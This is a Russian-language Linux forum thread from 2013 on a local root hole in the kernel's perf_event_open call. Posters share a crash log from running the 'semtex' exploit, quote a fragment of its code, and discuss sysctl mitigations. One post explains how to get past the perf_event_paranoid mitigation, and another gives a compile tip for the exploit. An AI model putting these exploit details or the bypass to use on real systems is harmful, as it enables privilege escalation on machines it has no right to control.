The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы [ Отслеживать ]

Оглавление

В ядре Linux выявления локальная root-уязвимость, opennews (ok), 14-Май-13, (0) [смотреть все]

Сообщения [Сортировка по времени | RSS]


66. "В ядре Linux выявления локальная root-уязвимость"  –1 +/
Сообщение от pavlinux (ok), 14-Май-13, 21:27 

pavel@localhost:/tmp> gcc semtex.c
pavel@localhost:/tmp> ./a.out

Message from syslogd@localhost at May 14 21:26:26 ...
kernel:Oops: 0000 [#1] PREEMPT SMP

Message from syslogd@localhost at May 14 21:26:26 ...
kernel:Stack:

Message from syslogd@localhost at May 14 21:26:26 ...
kernel:Call Trace:

Message from syslogd@localhost at May 14 21:26:26 ...
kernel:Code: 00 00 00 48 8b 47 18 65 48 8b 14 25 c0 96 00 00 48 83 e0 fe 48 39 c2 75 08 c7 47 28 01 00 00 00 c3 0f 0b 53 48 89 fb 48 83 ec 10 <8b> 17 83 fa 01 74 2d 8d 4a ff 89 d0 f0 0f b1 0f 39 c2 89 c1 75

Message from syslogd@localhost at May 14 21:26:26 ...
kernel:CR2: 0000001781642448
Убито
pavel@localhost:/tmp>

# dmesg

BUG: unable to handle kernel paging request at 0000001781642448
IP: [<ffffffff81070ad8>] 0xffffffff81070ad8
PGD 263121067 PUD 0
Oops: 0000 [#1] PREEMPT SMP
CPU 0
Modules linked in: ipt_ECN ipt_REJECT iptable_filter xt_recent iptable_mangle xt_DSCP nvidia(O) sg ohci_hcd

Pid: 3256, comm: a.out Tainted: G           O 3.2.44-rt64 #1 TYAN Computer Corp. S2895/S2895
RIP: 0010:[<ffffffff81070ad8>]  [<ffffffff81070ad8>] 0xffffffff81070ad8
RSP: 0018:ffff880204281e68  EFLAGS: 00010282
RAX: 00000007fffffff8 RBX: 0000001781642448 RCX: 0000000000000000
RDX: ffff88023965b100 RSI: ffffffff81549b00 RDI: 0000001781642448
RBP: 00000000ffffffff R08: ffff880204280000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: ffff8802396a33d0
R13: ffff88020a525700 R14: ffff880266c5b780 R15: ffff8802108f7810
FS:  00007fb697b4b700(0000) GS:ffff88027fc00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: 0000001781642448 CR3: 0000000204002000 CR4: 00000000000006f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
Process a.out (pid: 3256, threadinfo ffff880204280000, task ffff88023965b100)
Stack:
ffffffff8157ba08 ffffffff81093d27 0000001781642448 ffffffff81094140
ffff880265040400 ffffffff8108cc78 ffff88020a525700 ffff880265040400
ffff8802396a33cc ffffffff8108d967 ffff880265040400 ffffffff8108da96
Call Trace:
[<ffffffff81093d27>] ? 0xffffffff81093d27
[<ffffffff81094140>] ? 0xffffffff81094140
[<ffffffff8108cc78>] ? 0xffffffff8108cc78
[<ffffffff8108d967>] ? 0xffffffff8108d967
[<ffffffff8108da96>] ? 0xffffffff8108da96
[<ffffffff8108dbd0>] ? 0xffffffff8108dbd0
[<ffffffff810db890>] ? 0xffffffff810db890
[<ffffffff810d7e8f>] ? 0xffffffff810d7e8f
[<ffffffff810d7f6e>] ? 0xffffffff810d7f6e
[<ffffffff81438dfb>] ? 0xffffffff81438dfb
Code: 00 00 00 48 8b 47 18 65 48 8b 14 25 c0 96 00 00 48 83 e0 fe 48 39 c2 75 08 c7 47 28 01 00 00 00 c3 0f 0b 53 48 89 fb 48 83 ec 10 <8b> 17 83 fa 01 74 2d 8d 4a ff 89 d0 f0 0f b1 0f 39 c2 89 c1 75
RIP  [<ffffffff81070ad8>] 0xffffffff81070ad8
RSP <ffff880204281e68>
CR2: 0000001781642448
---[ end trace 0000000000000002 ]---


Где рут?
Ответить | Правка | Наверх | Cообщить модератору

78. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от Аноним (-), 14-Май-13, 21:40 
А рут растет в "огородном компе" писателя...  )))
Ответить | Правка | Наверх | Cообщить модератору

80. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от Аноним (-), 14-Май-13, 21:42 
> А рут растет в "огородном компе" писателя...  )))

уточнения:  писателя экплоида

Ответить | Правка | Наверх | Cообщить модератору

99. "В ядре Linux выявления локальная root-уязвимость"  –3 +/
Сообщение от linux must _RIP_ (?), 14-Май-13, 22:41 
локальный dos тоже не плохо :-)
Ответить | Правка | К родителю #66 | Наверх | Cообщить модератору

108. "В ядре Linux выявления локальная root-уязвимость"  –3 +/
Сообщение от pavlinux (ok), 14-Май-13, 22:57 
syscall(298 ... - это как я понимаю  __NR_perf_event_open


void sheep(uint32_t off) {

  uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
  int fd = syscall(298, buf, 0, -1, -1, 0);
...

Тут хрень какая-то получается, второй элемент массива buf должно быть число указывающие
размер всей этой структуры (в реальности buf должен быть типа struct perf_event_attr),
что-то вроде

   buf[2] = sizeof(buff[0])/sizeof(buf); ну иль тупа 10 написать.

ну да хрен с ними...  тут передаётся офсет..  Более того, 8-ой элемент, это битовое поле disabled,
которое включено по дефолту...  

Чёй-то мне в лом дальше копать, но похоже автор особо не парился над универсальностью
иль это такая защита от скрипт-кидисов. :)

Ответить | Правка | Наверх | Cообщить модератору

130. "В ядре Linux выявления локальная root-уязвимость"  +21 +/
Сообщение от pavlinux (ok), 15-Май-13, 00:30 
Кстати, пиплы, защититься от этого не просто, а очень просто!

sysctl -w kernel.perf_event_paranoid = 2
sysctl -w kernel.perf_event_max_sample_rate= -1

Тогда ядро отстрелит этот експлоет с EACCES (Permission denied)

Ответить | Правка | Наверх | Cообщить модератору

150. "В ядре Linux выявления локальная root-уязвимость"  +1 +/
Сообщение от garreth (?), 15-Май-13, 01:39 
Спасибо за инфу!
Ответить | Правка | Наверх | Cообщить модератору

156. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от Michael Shigorinemail (ok), 15-Май-13, 03:41 
> Кстати, пиплы, защититься от этого не просто, а очень просто!
> sysctl -w kernel.perf_event_paranoid = 2

Угу, это и в шляпной баге приводят: https://bugzilla.redhat.com/show_bug.cgi?id=962792#c7

> sysctl -w kernel.perf_event_max_sample_rate= -1

Спасибо за дополнение.

Ответить | Правка | К родителю #130 | Наверх | Cообщить модератору

170. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от Xaionaro (ok), 15-Май-13, 08:55 
Благодарю.
Ответить | Правка | К родителю #130 | Наверх | Cообщить модератору

202. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от Xaionaro (ok), 15-Май-13, 13:42 
Тут вот пишут, что "kernel.perf_event_paranoid=2" не достаточно — "https://bugzilla.redhat.com/show_bug.cgi?id=962792", хоть и защищает от предложенной реализации exploit-а. Исходя из этого появляется вопрос, откуда появилась идея сделать "kernel.perf_event_max_sample_rate=-1" и поможет ли это?
Ответить | Правка | К родителю #130 | Наверх | Cообщить модератору

208. "В ядре Linux выявления локальная root-уязвимость"  +1 +/
Сообщение от mzart (?), 15-Май-13, 15:28 
идея, вероятно, отсюда:
    if (attr.freq) {
        if (attr.sample_freq > sysctl_perf_event_sample_rate) // kernel.perf_event_max_sample_rate
            return -EINVAL;
    }

но attr.freq в запросе этого эксплоита не выставлен, поэтому особого смысла нет.

А kernel.perf_event_paranoid=2 и впрямь недостаточно, т.к. основывается на этом коде:
    if (!attr.exclude_kernel) {
        if (perf_paranoid_kernel() && !capable(CAP_SYS_ADMIN))
            return -EACCES;
    }
достаточно включить attr.exclude_kernel в исходном запросе, чтобы kernel.perf_event_paranoid=2 перестало спасать.

Ответить | Правка | Наверх | Cообщить модератору

249. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от pavlinux (ok), 16-Май-13, 00:46 
> достаточно включить attr.exclude_kernel в исходном запросе, чтобы kernel.perf_event_paranoid=2 перестало спасать.

Ну вот спалил эксплойт... А детишки тут так радовались, что не работает :)

Ответить | Правка | Наверх | Cообщить модератору

260. "В ядре Linux выявления локальная root-уязвимость"  –1 +/
Сообщение от Xaionaro (ok), 16-Май-13, 15:51 
Благодарю.

> if (attr.freq)

Я правильно понимаю, что я сейчас не могу достаточным образом защитить сервера без накладывания патчей? :(


Ответить | Правка | К родителю #208 | Наверх | Cообщить модератору

263. "В ядре Linux выявления локальная root-уязвимость"  +1 +/
Сообщение от pavlinux (ok), 17-Май-13, 00:20 
> Благодарю.
>> if (attr.freq)
> Я правильно понимаю, что я сейчас не могу достаточным образом защитить сервера
> без накладывания патчей? :(

Уже апдейты вышли.

Ответить | Правка | Наверх | Cообщить модератору

275. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от anonim (?), 19-Май-13, 19:32 
Эта "защита" обходится правкой в эскпойте.
Ответить | Правка | К родителю #130 | Наверх | Cообщить модератору

209. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от mzart (?), 15-Май-13, 15:33 
> Тут хрень какая-то получается, второй элемент массива buf должно быть число указывающие
> размер всей этой структуры (в реальности buf должен быть типа struct perf_event_attr),

нене, все правильно, в структуре первые два поля __u32, а тут все элементы uint64_t. Размер, соответственно, 0x48.

Ответить | Правка | К родителю #108 | Наверх | Cообщить модератору

250. "В ядре Linux выявления локальная root-уязвимость"  +/
Сообщение от pavlinux (ok), 16-Май-13, 00:47 
>> Тут хрень какая-то получается, второй элемент массива buf должно быть число указывающие
>> размер всей этой структуры (в реальности buf должен быть типа struct perf_event_attr),
> нене, все правильно, в структуре первые два поля __u32, а тут все
> элементы uint64_t. Размер, соответственно, 0x48.

Ну да, это и есть сама дыра.

Ответить | Правка | Наверх | Cообщить модератору

189. "В ядре Linux выявления локальная root-уязвимость"  +1 +/
Сообщение от XakRu (ok), 15-Май-13, 11:44 
компилить с опцией -O2  ( Буква О )
Ответить | Правка | К родителю #66 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру